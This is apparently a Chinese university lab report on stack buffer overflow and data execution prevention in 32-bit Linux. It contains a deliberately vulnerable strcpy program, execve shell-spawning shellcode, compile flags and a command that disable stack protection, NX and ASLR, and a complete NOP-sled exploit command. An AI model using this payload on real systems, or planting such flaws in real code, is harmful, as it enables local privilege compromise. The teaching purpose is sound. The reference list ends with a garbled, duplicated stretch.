操作系统安全实验

缓冲区溢出与数据执行保护DEP实验

实验环境

虚拟机：VirtualBox 6.1.30
操作系统：Ubuntu21.04
主机OS：Microsoft Windows10

实验要求

1. 在关闭数据执行保护机制下，在Linux系统平台上实现缓冲区溢出攻击
2. 开启数据执行保护机制，运行一样的溢出攻击代码，比较实验现象

缓冲区溢出概述

1. 定义
   • 缓冲区是指被程序内部使用或存放用户输入的内存区域，而溢出是指计算机向缓冲区填充数据时超出了缓冲区本身的容量，从而破坏程序的堆栈，造成程序崩溃或使程序转而执行其它指令，以达到攻击的目的。
   • 由于堆栈是由内存高地址向内存低地址方向增长，而数组的变量是从内存低地址向高地址方向增长。如果没有对数据的越界进行检查和限制，通过向程序的数组缓冲区写入超出其长度的内容，覆盖堆栈原来的返回地址，就会造成缓冲区溢出，从而破坏程序的堆栈。如果构造特殊的注入向量覆盖返回地址，使程序转而执行恶意代码，就达到攻击的目的。
2. 作用
   • 使程序崩溃，进行拒绝服务攻击
   • 在程序的地址空间里安排适当的代码。
3. 原因
   • 程序没有仔细检查用户输入

数据执行保护DEP

1. 原因
   在冯·诺依曼体系中不区分代码和数据

2. 基本原理
   将数据所在内存页标识为不可执行，阻止数据页执行代码。当程序溢出成功尝试在数据页面上执行指令，此时CPU就会抛出异常，而不是去执行恶意指令。

   

3. 缺点

   • 硬件DEP需要CPU的支持，但并不是所有的CPU都提供了硬件DEP的支持
   • 由于兼容性的原因Windows不能对所有进程开启DEP保护，否则可能会出现异常。例如一些第三方的插件DLL，由于无法确认其是否支持DEP，对涉及这些DLL的程序不敢贸然开启DEP保护
   • 当DEP工作在最主要的两种状态optin和optout下时，DEP是可以被动态关闭和开启的，这就说明操作系统提供了某些API函数来控制DEP的状态，而API的调用没有任何限制

栈溢出

1. 函数调用栈
   • 运行时内存一段连续的区域，用来保存函数运行时的状态信息，包括函数参数与局部变量等
   • 在内存中从高地址向低地址生长，所以栈顶对应的内存地址在压栈时变小，退栈时变大
   • 函数状态主要涉及三个寄存器
     • ebp 存储当前执行函数的基地址，在函数运行时不变，常用来索引确定函数参数或局部变量的位置。
     • esp 存储函数调用栈的栈顶地址，在压栈和退栈时发生变化。
     • eip 存储即将执行的程序指令的地址，cpu 依照 eip 的存储内容读取指令并执行，然后eip 自动指向下一条指令

实验内容

1. 编写可溢出程序

   // filename:bof.c
   #include 
   #include 
   int main(int argc, char **argv){
   	char buf[128];// buf是一个函数的局部变量，放在栈上
   	if(argc < 2) return 1;
   	strcpy (buf ,argv[1]);// 将调用程序后面的输入赋值到buf中，可能溢出
   	printf("argv[1]:%s\n", buf);
   	return 0;
   }
   

   • 溢出原因：strcpy函数赋值对于目的字符数组的空间溢出不进行检查
     

   • 使用如下指令编译程序
     gcc -z execstack -fno-stack-protector bof.c -o bof -m32

     • -z execstack：关闭栈保护执行，即栈内的数据页可以作为指令执行

     • -fno-stack-protector：

       禁用栈保护canary，如果启用栈保护后，函数开始执行的时候会先往栈里插入cookie信息，当函数真正返回的时候会验证cookie信息是否合法，如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉，导致栈保护检查失败而阻止shellcode的执行。在Linux中这个cookie信息称为canary。

2. 编写shellcode

   • 定义：通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码

   • Syscall的系统调用函数
     int execve(const char *filename, char *const argv[], char * envp[]);

     • 设置execve的系统调用号：%eax = 0xb
     • 第一个参数filename：%ebx指向系统调用文件字符串的首地址，字符串末尾为’/0’
     • argv：要传递给程序的完整参数列表，一般是执行程序的名字，使用%ecx指向
     • envp：指向执行execed程序的专门环境指针，使用%edx指向

   • 编写shellcode

     // filename：shellcode.c
     #include 
     void shellcode(){
     	__asm__(
     	"xor %eax,%eax\n\t"		// 将eax寄存器异或处理值为0
     	"pushl %eax\n\t"		// 将0压入栈，push相当于pushl
     	"push $0x68732f2f\n\t"	// 将“//sh”压入栈，//是为了凑4个字节对齐
     	"push $0x6e69622f\n\t"	// 将“/bin”压入栈
     	"movl %esp,%ebx\n\t"	// 将栈底指针ebx赋值为当前栈顶指针esp
     	"pushl %eax\n\t"		// 将0压入栈中
     	"pushl %ebx\n\t"		// 将字符串“//sh/bin/0”的首地址压入栈中
     	"movl %esp,%ecx\n\t"	// 让ecx指向ebx
     	"cltd\n\t"				// 让eax拓展到edx:eax，即edx设置为0
     	"movb $0xb,%al\n\t"		// 将execve的功能号赋值给eax的低八位
     	"int $0x80\n\t"			// 使用软中断进行系统调用
     	);
     }
     int main(int argc, char **argv){
     	shellcode();
     	return 0;
     }
     

   • 编译shellcode
     gcc -m32 -o shellcode shellcode.c
     

   • 反汇编shellcode
     objdump –d shellcode | less

     

   • 实现16进制的shellcode

     //filename: shellcode_asm.c
     #include
     #include
     int main(){
     	char shellcode[]=
     		"\x31\xc0\x50\x68\x2f\x2f"
     		"\x73\x68\x68\x2f\x62\x69"
     		"\x6e\x89\xe3\x50\x53\x89"
     		"\xe1\x99\xb0\x0b\xcd\x80";
     	void (*fp)(void);
     	fp = (void*)shellcode;
     	fp();
     	return 0;
     }
     

     gcc -z execstack -m32 -o shellcode shellcode_asm.c
     

3. 关闭地址随机化ASLR保护机制
   sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

4. 测试数组长度

   gcc -z execstack -fno-stack-protector bof.c -o bof -m32
   gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')   
   

   

   • 字符C的16进制为43，所以C覆盖了返回地址，导致程序中断，此时使用$x/200wx $esp - 200，找到字符A的连续值为41的起始地址shellAddress，再将shellAdderss覆盖到返回地址即可

5. 成功

   gcc -z execstack -fno-stack-protector bof.c -o bof -m32
   gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')          
   

   • '\x90’表示NOP，即cpu向下滑动的控指令，因为编译过程可能增加变量导致地址改变，因此增加NOP，只要命中NOP中的一个即可向下滑动到shellcode执行
   

参考资料

1. 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
2. 缓冲区溢出攻击的分析及防范策略
   http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html
3. 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
4. Windows 缓冲区溢出与数据执行保护DEP
   http://blog.csdn.net/morewindows/article/details/6887136
5. 缓冲区溢出（栈溢出）https://www.cnblogs.com/tcctw/p/11487645.html
6. 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
7. Canary保护机制（栈保护）的开启与关闭
   https://blog.csdn.net/ConlinderFeng/article/details/108436147
8. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
   ail?sid=665628
9. Canary保护机制（栈保护）的开启与关闭
   https://blog.csdn.net/ConlinderFeng/article/details/108436147
10. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153